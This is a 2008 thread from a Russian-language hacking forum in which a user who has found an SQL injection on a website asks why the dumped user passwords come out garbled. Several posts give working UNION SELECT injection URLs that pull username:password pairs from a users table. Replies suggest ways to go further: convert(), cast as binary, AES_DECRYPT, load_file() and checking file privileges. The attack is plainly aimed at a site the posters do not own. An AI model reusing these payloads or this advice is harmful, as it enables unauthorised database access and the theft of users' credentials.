абра-кадабра в паролях пользователей

Discussion in 'Уязвимости' started by mr.celt, 26 May 2008.

  1. mr.celt

    mr.celt Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    133
    Likes Received:
    16
    Reputations:
    12
    Доброго дня античатовцы.
    Вопрос следующий: на сайте нашел скуль, разделался с ней как написано в учебниках, в результате получил такую инъекцию
    site.com/details.php?id=-5'+union+select+1,concat(username,char(58),password),3+from+users_m_t+limit+10,1/*
    по идеи должны вываливаться пары логин:пароль, но тут облом вышел, получаю вот что
    shilpa:^��f�
    patelph1:g�r1�n ну и т.д...
    Что это за каракули в паролях?
    Думал дело в кодировке, но смена не помогла.
     
  2. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    Посмотри в какой кодировке тебе отдаётся страница... Проблема как раз в кодировке, возможно это можно обойти с помощью Convert... Без ссылки не могу сказать более точно...
     
  3. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    либо покоцаные, либо кодировка не та, либо попробуй using latin1 и т.п.
     
  4. WeddRRRyss

    WeddRRRyss Banned

    Joined:
    15 Jan 2008
    Messages:
    29
    Likes Received:
    20
    Reputations:
    4
    Пассы просто захешированы. Походу не в мд5, а в чем то другом.
     
  5. S00pY

    S00pY Active Member

    Joined:
    24 Apr 2007
    Messages:
    91
    Likes Received:
    109
    Reputations:
    21
    Это не хеш!Имхо это кодировка !
     
  6. WeddRRRyss

    WeddRRRyss Banned

    Joined:
    15 Jan 2008
    Messages:
    29
    Likes Received:
    20
    Reputations:
    4
    Если кодировка, то еще проще. не придется брутить. Главное понять в чем закодированны пасс.
     
  7. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    встречался однажды с такой херью
    попробуй поюзать convert()
     
  8. geezer.code

    geezer.code Elder - Старейшина

    Joined:
    22 Jan 2007
    Messages:
    552
    Likes Received:
    358
    Reputations:
    90
    мне обычно помогает cast( ... as binary)
     
  9. mr.celt

    mr.celt Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    133
    Likes Received:
    16
    Reputations:
    12
    попробовал вот так
    http://site.com/details.php?id=-5'+union+select+1,concat(username,char(58),convert(password+using+latin1)),3+from+users_m_t+limit+10,1/*
    те же каракули

    при использовании cast (... as binary) тоже ничего хорошего.
     
    #9 mr.celt, 26 May 2008
    Last edited: 26 May 2008
  10. Shred

    Shred Elder - Старейшина

    Joined:
    22 May 2006
    Messages:
    200
    Likes Received:
    29
    Reputations:
    0
    в какой кодировке сама страница?
     
  11. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    Урлу в студию
     
  12. mr.celt

    mr.celt Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    133
    Likes Received:
    16
    Reputations:
    12
    UTF-8
     
  13. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    скорее всего в базе они хранятся aes_encrypt-еные, нуждны скрипты чтобы знать с каким шифром декриптить
     
  14. mr.celt

    mr.celt Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    133
    Likes Received:
    16
    Reputations:
    12
    "врагу не здается наш гордый варяг ..." :)

    значит попробовал вот что:
    http://site.com/details.php?id=-5'+union+select+1,concat(username,char(58),AES_DECRYPT(AES_ENCRYPT(version(),0x71),0x71)),3+from+users_m_t+limit+17,1/*

    проконало... раньше данные типа user(), version() получить не удавалось, подставил password... Сцуко опять каракули :mad:
     
  15. chekist

    chekist Elder - Старейшина

    Joined:
    14 Nov 2007
    Messages:
    215
    Likes Received:
    160
    Reputations:
    100
    были проблемы с кодировкой

    значит пасы всётаки криптованы :(

    1.попробуй найти исходники если движёк беплатный
    2.используй load_file() может с правами повезёт
     
  16. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    1)Да не проблемы с кодировкой, а скорее всего фильтрация скобок
    2)Пароли естественно криптованные, это уже blackybr написал
    3) Что значит МОЖЕТ с правами повезёт? User()=root повезло нет ,не повезло :D
     
  17. mr.celt

    mr.celt Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    133
    Likes Received:
    16
    Reputations:
    12
    1. к сожалению движек самописный и исходников не достать.

    2. user()!=root и привелегий на load_file тоже нет(

    Значит, мнение что пароли шифрованы оказывается реальным, значит я так понимаю, нужно запрашивать типа так

    http://site.com/details.php?id=-5'+union+select+1,concat(username,char(58),AES_DECRYPT(version(),XXX)),3+from+users_m_t+limit+17,1/*

    , где XXX-ключ
    вроде так...
     
  18. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Не факт.
    Алгоритм шифрования тоже может быть самописным
    Ищи другие пути
    P.S Я полагаю сдесь >>AES_DEC RYPT(version(),XXX) ты просто опечатался вместо version() поле пароля
     
  19. mr.celt

    mr.celt Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    133
    Likes Received:
    16
    Reputations:
    12
    да хотел конечно password... но буду дальше пытаться.
     
  20. chekist

    chekist Elder - Старейшина

    Joined:
    14 Nov 2007
    Messages:
    215
    Likes Received:
    160
    Reputations:
    100
    не только root имеет привелегия File_priv